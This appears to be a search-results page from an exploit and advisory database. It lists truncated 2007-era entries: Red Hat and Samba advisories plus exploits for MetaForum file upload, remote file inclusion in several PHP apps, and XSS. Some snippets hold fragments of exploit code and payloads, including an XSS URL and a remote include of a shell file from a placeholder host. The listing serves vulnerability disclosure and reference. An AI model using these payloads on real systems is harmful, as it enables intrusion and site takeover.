1830 matches found
RHEL 3 / 4 : evolution (RHSA-2007:0353)
Updated evolution packages that fix a security bug are now available for Red Hat Enterprise Linux 3 and 4. This update has been rated as having moderate security impact by the Red Hat Security Response Team. Evolution is the GNOME collection of personal information management PIM tools. A flaw wa...
CentOS 3 / 4 : evolution (CESA-2007:0353)
Updated evolution packages that fix a security bug are now available for Red Hat Enterprise Linux 3 and 4. This update has been rated as having moderate security impact by the Red Hat Security Response Team. Evolution is the GNOME collection of personal information management PIM tools. A flaw wa...
[SAMBA-SECURITY] CVE-2007-2444: Local SID/Name Translation Failure Can Result in User Privilege Elevation
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ========================================================== == == Subject: Local SID/Name translation bug can result == in user privilege elevation == CVE ID: CVE-2007-2444 == == Versions: Samba 3.0.23d - 3.0.25pre2 inclusive == == Summary: A bug in th...
0irc-client v1345 build20060823 Denial of Service Exploit
No description provided by source. / 0irc-client v1345 build 20060823 DoS Exploit By DiGitalX [email protected] Date: 22/3/2007 -- MicroSystem Team -- Site: http://DiGitalX.I.am Description: 0irc-client suffers from a NULL pointer derefrencing bug. / define WIN32LEANANDMEAN include winsock2.h...
[Full-disclosure] Microsoft Windows Vista - Windows Mail Client Side Code Execution Vulnerability
Microsoft Windows Vista - Windows Mail Client Side Code Execution Vulnerability Successfully Tested on Windows Vista Ultimate Greetings fly out to Alex,wtfomg,Thierry,Andi and Blackzero Description Windows Mail is the default Mail Client of Microsoft Windows Vista. Vulnerability Remote Code...
Oracle 10g Dynamic Monitoring Services XSS /servlet/Spy
Hi, Access to http://somesite/servlet/Spy should be restricted. But generally database or system administrators ignore the hardening of Oracle apllications or database. I have noticed XSS bug in Dynamic Monitoring services on Oracle-Application-Server-10g/10.1.2.0.0...
metaforum-upload.txt
:\r\n"; $phpcode = trimfgetsSTDIN; echo "\r\n+ Connection... "; $sock = @fsockopen$argv1, 80...
MetaForum 0.513 Beta - Arbitrary File Upload
:\r\n"; $phpcode = trimfgetsSTDIN; echo "\r\n+ Connection... "; $sock = @fsockopen$argv1, 80, $eno, $estr, 30; if !$sock die"Failed\r...
MetaForum <= 0.513 Beta Remote File Upload Exploit
Exploit for unknown platform in category web applications ================================================== MetaForum = 0.513 Beta Remote File Upload Exploit ================================================== ?php /---------------------------------------------------------\ MetaForum = 0.513 Beta...
MetaForum <= 0.513 Beta - Remote file upload Vulnerability
|Description:| A security bug has been discovered in MetaForum 0.513 Beta. This bug can be used by an attacker to upload a malicious php file on the server. During the upload, the MIME type of the file is the only verified parameter. The extention isn't. This enables a attacker to fake the MIME...
MetaForum <= 0.513 Beta Remote File Upload Exploit
No description provided by source. ?php /---------------------------------------------------------\ MetaForum = 0.513 Beta - Remote file upload Vulnerability |Description:| A security bug has been discovered in MetaForum 0.513 Beta. This bug can be used by an attacker to upload a malicious php...
Talking about virtual communities, security bug found and exploit-vulnerability warning-the black bar safety net
Author:Wang gang This article published in the hacker Handbook magazine http://www.nohack.cn that the copyright of all, reproduced please indicate the source. Personal website: www.itheroes.cn Now on the network Forum and community there are many, the Forum, the vast majority are using some free ...
WebCalendar 0.9.45 - 'includedir' Remote File Inclusion
|-------------------------------------------------------------------------------| | | | WebCalendar v0.9.45 13 Dec 2004 login.php Remote File include | | | | Script : WebCalendar | | Version : v0.9.45 13 Dec 2004 | | Authord : Drackanz | | Contact : Drackanz at gmail com | | Vendor :...
Magic CMS 4.2.747 - 'mysave.php' Remote File Inclusion
'/ -.- ---------------------oOO------OOo--------------------- | Magic CMS v4.2.747 mysave.php Remote File Inclusion | | works only with registerglobals = on | | coded by DNX | --------------------------------------------------------- ! Discovered: DNX ! Vendor: www.geo-soft.net/de-ch/ ! Detected:...
vcard26-xss.txt
Discovered By : Hasadya Raed Contact : [email protected] Script: vCard 2.6 c2002 Bug in : create.php Exploit : http://www.victim.com/path/create.php?uploaded="alert1; --...
MOPB-03-2007:PHP Variable Destructor Deep Recursion Stack Overflow
Summary The last vulnerability for today is similar to the second one. This time the bug is however a deep recursion bug in the Zend Engine variable destruction. User input is parsed in an iterative way which allows the creation of very deeply nested array structures from user input. However when...
eXtreme File Hosting remote file upload vulnerability
A security bug have been discovered in eXtreme File Hosting, which can be upload the attaker files and can get the shell with phpshell. bug : in this borgram with php can user upload zip or rar file hacker can upload the a.php.rar file that contain ?php $file = 'http://sample.com/evilefile.php';...
Data URLs with executables and misleading download dialog
The data URL scheme allows authors to embed binary files,instead of using links to external files. Data URLscontaining file types that Opera can display are renderedinline; other file types will be handled by Opera'sdownload dialog. A bug in Opera's file download handling causes the downloaddialo...
phpBB Tweaked 3 - phpbb_root_path Remote File Inclusion
phpBB Tweaked 3 - phpbbrootpath Remote File Inclusion ----------------------------------------------- Phpbb Tweaked phpbbrootpath Remote File Include Exploit ----------------------------------------------- Author: xoron xoron.biz - xoron.info ----------------------------------------------- Code:...
VisoHotlink "mosConfig_absolute_path"远程文件包含漏洞
VisoHotlink是一款基于PHP的WEB应用程序。 VisoHotlink不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'includes/functions.visohotlink.php'脚本对用户提交的'"mosConfigabsolutepath"'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 VisoHotlink 1.x 目前没有解决方案提供： http://www.easy-script.com/compt.php?id=3312 !/usr/bin/perl VisoHotlink 1.0...